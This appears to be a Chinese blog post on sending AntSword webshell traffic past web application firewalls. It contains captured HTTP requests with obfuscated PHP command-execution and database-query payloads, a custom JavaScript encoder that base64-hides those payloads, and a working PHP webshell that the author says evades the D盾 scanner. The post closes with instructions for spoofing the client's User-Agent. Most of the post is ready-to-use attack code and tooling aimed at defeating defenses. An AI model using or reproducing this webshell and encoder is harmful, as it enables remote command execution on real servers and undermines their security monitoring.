执行一个select * from users;

POST /11.php HTTP/1.1
Host: 192.168.1.46
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.0
content-type: multipart/form-data; boundary=--------------------------139948905997171576903450
Content-Length: 2025
Connection: close

----------------------------139948905997171576903450
Content-Disposition: form-data; name="1"

@eval(@str_rot13($_POST[_0xcf8b793cde507]));
----------------------------139948905997171576903450
Content-Disposition: form-data; name="0x21f246b5826a8"

eTLDafsJKo30efdM
----------------------------139948905997171576903450
Content-Disposition: form-data; name="0x2ea0cd32046c2"

U0VMRUNUIGBuYW1lYCBGUk9NIGBhc2Rhc2RzYWJhZmF1aWZoYXVmYXNramZhc25ma2JfZmFkYXNkYWAgT1JERVIgQlkgMSBERVNDIExJTUlUIDAsMjA7
----------------------------139948905997171576903450
Content-Disposition: form-data; name="0x47fad5dc3bf47"

root
----------------------------139948905997171576903450
Content-Disposition: form-data; name="0xe67b19eabec4c"

utf8
----------------------------139948905997171576903450
Content-Disposition: form-data; name="0xea8d6fea5118f"

dvwa
----------------------------139948905997171576903450
Content-Disposition: form-data; name="0xff6a6082f36e4"

localhost
----------------------------139948905997171576903450
Content-Disposition: form-data; name="_0xcf8b793cde507"

@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "93596";$z=trg_zntvp_dhbgrf_tcp();$ufg=$z?fgevcfynfurf($_CBFG["0kss6n6082s36r4"]):$_CBFG["0kss6n6082s36r4"];$hfe=$z?fgevcfynfurf($_CBFG["0k47snq5qp3os47"]):$_CBFG["0k47snq5qp3os47"];$cjq=$z?fgevcfynfurf($_CBFG["0k21s246o5826n8"]):$_CBFG["0k21s246o5826n8"];$qoa=$z?fgevcfynfurf($_CBFG["0krn8q6srn5118s"]):$_CBFG["0krn8q6srn5118s"];$fdy=onfr64_qrpbqr($_CBFG["0k2rn0pq32046p2"]);$G=@zlfdy_pbaarpg($ufg,$hfe,$cjq);@zlfdy_dhrel("FRG ANZRF $_CBFG[0kr67o19rnorp4p]");@zlfdy_fryrpg_qo($qoa, $G);$d=@zlfdy_dhrel($fdy);vs(vf_obby($d)){rpub("Fgnghf | 
".($d?"IUW1MD==":"EzSfp2H=")." | 
");}ryfr{$v=0;juvyr($pby=@zlfdy_srgpu_svryq($d)){rpub($pby->anzr." | ");$v++;}rpub("
");juvyr($ef=@zlfdy_srgpu_ebj($d)){sbe($p=0;$p<$v;$p++){rpub(onfr64_rapbqr(gevz($ef[$p])));rpub(" | ");}rpub("
");}}@zlfdy_pybfr($G);;rpub "04167";qvr();
----------------------------139948905997171576903450--

3.分析流量

首先分析没有加上multipart 的情况。你会发现url 转码之后都是一些如下的函数例如

1=@ini_set("display_errors", "0");@set_time_limit(0);echo "df498";$p=base64_decode($_POST["0xa4bd371dcaee8"]);$s=base64_decode($_POST["0xcb432ab178248"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runcmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;echo "f740d";die();&0xa4bd371dcaee8=Y21k&0xcb432ab178248=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImbW9yZSAxMS5waHAmZWNobyBbU10mY2QmZWNobyBbRV0=

第二个

1=@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(50).ChR(55).ChR(98).ChR(48).ChR(100).ChR(34).ChR(59).ChR(36).ChR(112).ChR(61).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(36).ChR(95).ChR(80).ChR(79).ChR(83).ChR(84).ChR(91).ChR(34).ChR(48).ChR(120).ChR(51).ChR(100).ChR(100).ChR(57).ChR(51).ChR(56).ChR(48).ChR(97).ChR(56).ChR(102).ChR(100).ChR(101).ChR(57).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(115).ChR(61).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(36).ChR(95).ChR(80).ChR(79).ChR(83).ChR(84).ChR(91).ChR(34).ChR(48).ChR(120).ChR(49).ChR(54).ChR(50).ChR(51).ChR(56).ChR(55).ChR(51).ChR(51).ChR(101).ChR(55).ChR(99).ChR(101).ChR(49).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(100).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(99).ChR(61).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(100).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(61).ChR(61).ChR(34).ChR(47).ChR(34).ChR(63).ChR(34).ChR(45).ChR(99).ChR(32).ChR(92).ChR(34).ChR(123).ChR(36).ChR(115).ChR(125).ChR(92).ChR(34).ChR(34).ChR(58).ChR(34).ChR(47).ChR(99).ChR(32).ChR(92).ChR(34).ChR(123).ChR(36).ChR(115).ChR(125).ChR(92).ChR(34).ChR(34).ChR(59).ChR(36).ChR(114).ChR(61).ChR(34).ChR(123).ChR(36).ChR(112).ChR(125).ChR(32).ChR(123).ChR(36).ChR(99).ChR(125).ChR(34).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(102).ChR(101).ChR(40).ChR(36).ChR(102).ChR(41).ChR(123).ChR(36).ChR(100).ChR(61).ChR(101).ChR(120).ChR(112).ChR(108).ChR(111).ChR(100).ChR(101).ChR(40).ChR(34).ChR(44).ChR(34).ChR(44).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(103).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(97).ChR(98).ChR(108).ChR(101).ChR(95).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(115).ChR(34).ChR(41).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(101).ChR(109).ChR(112).ChR(116).ChR(121).ChR(40).ChR(36).ChR(100).ChR(41).ChR(41).ChR(123).ChR(36).ChR(100).ChR(61).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(40).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(100).ChR(61).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(109).ChR(97).ChR(112).ChR(40).ChR(39).ChR(116).ChR(114).ChR(105).ChR(109).ChR(39).ChR(44).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(109).ChR(97).ChR(112).ChR(40).ChR(39).ChR(115).ChR(116).ChR(114).ChR(116).ChR(111).ChR(108).ChR(111).ChR(119).ChR(101).ChR(114).ChR(39).ChR(44).ChR(36).ChR(100).ChR(41).ChR(41).ChR(59).ChR(125).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(36).ChR(102).ChR(41).ChR(38).ChR(38).ChR(105).ChR(115).ChR(95).ChR(99).ChR(97).ChR(108).ChR(108).ChR(97).ChR(98).ChR(108).ChR(101).ChR(40).ChR(36).ChR(102).ChR(41).ChR(38).ChR(38).ChR(33).ChR(105).ChR(110).ChR(95).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(40).ChR(36).ChR(102).ChR(44).ChR(36).ChR(100).ChR(41).ChR(41).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(114).ChR(117).ChR(110).ChR(99).ChR(109).ChR(100).ChR(40).ChR(36).ChR(99).ChR(41).ChR(123).ChR(36).ChR(114).ChR(101).ChR(116).ChR(61).ChR(48).ChR(59).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(115).ChR(121).ChR(115).ChR(116).ChR(101).ChR(109).ChR(39).ChR(41).ChR(41).ChR(123).ChR(64).ChR(115).ChR(121).ChR(115).ChR(116).ChR(101).ChR(109).ChR(40).ChR(36).ChR(99).ChR(44).ChR(36).ChR(114).ChR(101).ChR(116).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(112).ChR(97).ChR(115).ChR(115).ChR(116).ChR(104).ChR(114).ChR(117).ChR(39).ChR(41).ChR(41).ChR(123).ChR(64).ChR(112).ChR(97).ChR(115).ChR(115).ChR(116).ChR(104).ChR(114).ChR(117).ChR(40).ChR(36).ChR(99).ChR(44).ChR(36).ChR(114).ChR(101).ChR(116).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(115).ChR(104).ChR(101).ChR(108).ChR(108).ChR(95).ChR(101).ChR(120).ChR(101).ChR(99).ChR(39).ChR(41).ChR(41).ChR(123).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(40).ChR(64).ChR(115).ChR(104).ChR(101).ChR(108).ChR(108).ChR(95).ChR(101).ChR(120).ChR(101).ChR(99).ChR(40).ChR(36).ChR(99).ChR(41).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(101).ChR(120).ChR(101).ChR(99).ChR(39).ChR(41).ChR(41).ChR(123).ChR(64).ChR(101).ChR(120).ChR(101).ChR(99).ChR(40).ChR(36).ChR(99).ChR(44).ChR(36).ChR(111).ChR(44).ChR(36).ChR(114).ChR(101).ChR(116).ChR(41).ChR(59).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(40).ChR(106).ChR(111).ChR(105).ChR(110).ChR(40).ChR(34).ChR(10).ChR(34).ChR(44).ChR(36).ChR(111).ChR(41).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(32).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(112).ChR(111).ChR(112).ChR(101).ChR(110).ChR(39).ChR(41).ChR(41).ChR(123).ChR(36).ChR(102).ChR(112).ChR(61).ChR(64).ChR(112).ChR(111).ChR(112).ChR(101).ChR(110).ChR(40).ChR(36).ChR(99).ChR(44).ChR(39).ChR(114).ChR(39).ChR(41).ChR(59).ChR(119).ChR(104).ChR(105).ChR(108).ChR(101).ChR(40).ChR(33).ChR(64).ChR(102).ChR(101).ChR(111).ChR(102).ChR(40).ChR(36).ChR(102).ChR(112).ChR(41).ChR(41).ChR(123).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(40).ChR(64).ChR(102).ChR(103).ChR(101).ChR(116).ChR(115).ChR(40).ChR(36).ChR(102).ChR(112).ChR(44).ChR(32).ChR(50).ChR(48).ChR(52).ChR(56).ChR(41).ChR(41).ChR(59).ChR(125).ChR(64).ChR(112).ChR(99).ChR(108).ChR(111).ChR(115).ChR(101).ChR(40).ChR(36).ChR(102).ChR(112).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(114).ChR(101).ChR(116).ChR(32).ChR(61).ChR(32).ChR(49).ChR(50).ChR(55).ChR(59).ChR(125).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(114).ChR(101).ChR(116).ChR(59).ChR(125).ChR(59).ChR(36).ChR(114).ChR(101).ChR(116).ChR(61).ChR(64).ChR(114).ChR(117).ChR(110).ChR(99).ChR(109).ChR(100).ChR(40).ChR(36).ChR(114).ChR(46).ChR(34).ChR(32).ChR(50).ChR(62).ChR(38).ChR(49).ChR(34).ChR(41).ChR(59).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(32).ChR(40).ChR(36).ChR(114).ChR(101).ChR(116).ChR(33).ChR(61).ChR(48).ChR(41).ChR(63).ChR(34).ChR(114).ChR(101).ChR(116).ChR(61).ChR(123).ChR(36).ChR(114).ChR(101).ChR(116).ChR(125).ChR(34).ChR(58).ChR(34).ChR(34).ChR(59).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(57).ChR(102).ChR(50).ChR(50).ChR(98).ChR(34).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59));&0x16238733e7ce1=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0x3dd9380a8fde9=Y21k

第三个

1=@eval(@str_rot13($_POST[_0xfa5ff30363729]));&0x628d9659da233=Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0xfdf89ac6d8edc=Y21k&_0xfa5ff30363729=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "2r4q4";$c=onfr64_qrpbqr($_CBFG["0ksqs89np6q8rqp"]);$f=onfr64_qrpbqr($_CBFG["0k628q9659qn233"]);$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$p=fhofge($q,0,1)=="/"?"-p \"{$f}\"":"/p \"{$f}\"";$e="{$c} {$p}";shapgvba sr($s){$q=rkcybqr(",",@vav_trg("qvfnoyr_shapgvbaf"));vs(rzcgl($q)){$q=neenl();}ryfr{$q=neenl_znc('gevz',neenl_znc('fgegbybjre',$q));}erghea(shapgvba_rkvfgf($s)&&vf_pnyynoyr($s)&&!va_neenl($s,$q));};shapgvba ehapzq($p){$erg=0;vs(sr('flfgrz')){@flfgrz($p,$erg);}ryfrvs(sr('cnffgueh')){@cnffgueh($p,$erg);}ryfrvs(sr('furyy_rkrp')){cevag(@furyy_rkrp($p));}ryfrvs(sr('rkrp')){@rkrp($p,$b,$erg);cevag(wbva("
",$b));}ryfrvs (sr('cbcra')){$sc=@cbcra($p,'e');juvyr(!@srbs($sc)){cevag(@strgf($sc, 2048));}@cpybfr($sc);}ryfr{$erg = 127;}erghea $erg;};$erg=@ehapzq($e." 2>&1");cevag ($erg!=0)?"erg={$erg}":"";;rpub "91r76";qvr();

一些敏感函数比如@str_rot13  chr(105) @ini_set 这种类型的。常规waf 可以拦截的很死

再看看 multipart  模式下的情况相对 默认模式下的情况好多了。但是还有一个共性就是@eval 函数。之类的。也是不能完美的绕过waf 的

看了一下师傅的这篇文章https://xz.aliyun.com/t/4000

测试了一下

代码如下:

/**
 * php::base64编码器
 * Create at: 2019/03/25 15:38:49
 */

'use strict';
module.exports = (pwd, data) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let num =  Math.floor(Math.random()*15);
  let randomStr = `${Math.random().toString(16).substr(num)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  let encry= new Buffer(data['_']).toString('base64');
  data['num'] = 15-num;

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `${randomStr}`+encry+`${randomStr}`;
  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;

}

然后执行的流量如下:

POST /11.php HTTP/1.1
Host: 192.168.1.46
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
content-type: multipart/form-data; boundary=--------------------------026213030820703555518723
Content-Length: 1765
Connection: close

----------------------------026213030820703555518723
Content-Disposition: form-data; name="1"

077ce27QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiNzQ5NWUiOyRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyIweDNmMDYxNzZmM2E2MDciXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbIjB4ZTAyNTVmYjYyZDE5MSJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYgKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsIDIwNDgpKTt9QHBjbG9zZSgkZnApO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O2VjaG8gIjA4N2YzIjtkaWUoKTs=077ce27
----------------------------026213030820703555518723
Content-Disposition: form-data; name="0x3f06176f3a607"

Y21k
----------------------------026213030820703555518723
Content-Disposition: form-data; name="0xe0255fb62d191"

Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
----------------------------026213030820703555518723
Content-Disposition: form-data; name="num"

7
----------------------------026213030820703555518723--

这样一个效果之后,就没有任何的一个铭感信息了。然后就是一个木马部分了

<?php
/* 用户操作类 */
class User
{
  public $name = '';
  public $config = null;

  function __destruct(){
    @eval(''.$config."$this->name");
  }
}
// 生成用户
$user = new User;
$num = @$_POST['num'];
// 传递用户信息
$c = \base64_decode((substr(@$_POST['1'],$num,-$num)));
$user->name = ''.$c;
?>

这个马子还可以过D盾。建议可以再嵌套几次。或者eval 那个地方可以拼接一下

蚁剑的连接方式如下:

更改UA 在modules/request.js 中

UA 如下:

const USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36';

效果如下:

结后语:如果碰到这种流量丢包的waf 也没辙

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注